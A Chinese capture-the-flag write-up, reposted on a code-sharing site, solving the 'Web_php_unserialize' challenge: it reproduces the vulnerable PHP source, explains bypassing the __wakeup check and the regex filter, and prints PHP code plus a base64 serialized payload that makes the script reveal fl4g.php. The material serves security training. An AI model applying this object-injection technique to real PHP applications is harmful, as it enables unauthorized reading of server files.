当前位置: 代码迷 >> 综合 >> 攻防世界-Web-Exercise-Wirteup
  详细解决方案

攻防世界-Web-Exercise-Wirteup

热度:49   发布时间:2024-02-08 10:13:30.0

攻防世界Web题进阶区题目部分记录。前面题型比较基础,仅记录较为典型的题目用于以后知识点的回顾。

目录

Web_php_unserialize


Web_php_unserialize

题目描述:

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

看题目和源码可以得知存在反序列化漏洞。并且还有__wakeup检查及preg_match检查:

1、php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize。反序列化的函数为unserialize

因为序列化的对象里保存了成员变量,所以我们可以自己构造类的成员变量为目标值。

2、绕过__wakeup方法是修改序列化字符串中的成员变量个数大于真实的值即可。

3、绕过preg_match,修改对应的检查特征就可以了,正则表达式接触不多,需要加强。

<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
$s = new Demo("fl4g.php");
$m = serialize($s);
echo(base64_encode($m));//Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
?>

 

直接打印的序列化字符串会有两个字符打印不出来。我是做了base64之后在在ue里面解开修改的然后再做base64加密。

解开的字符串复制会被截断。。。当然也可以在php中做好修改再打印。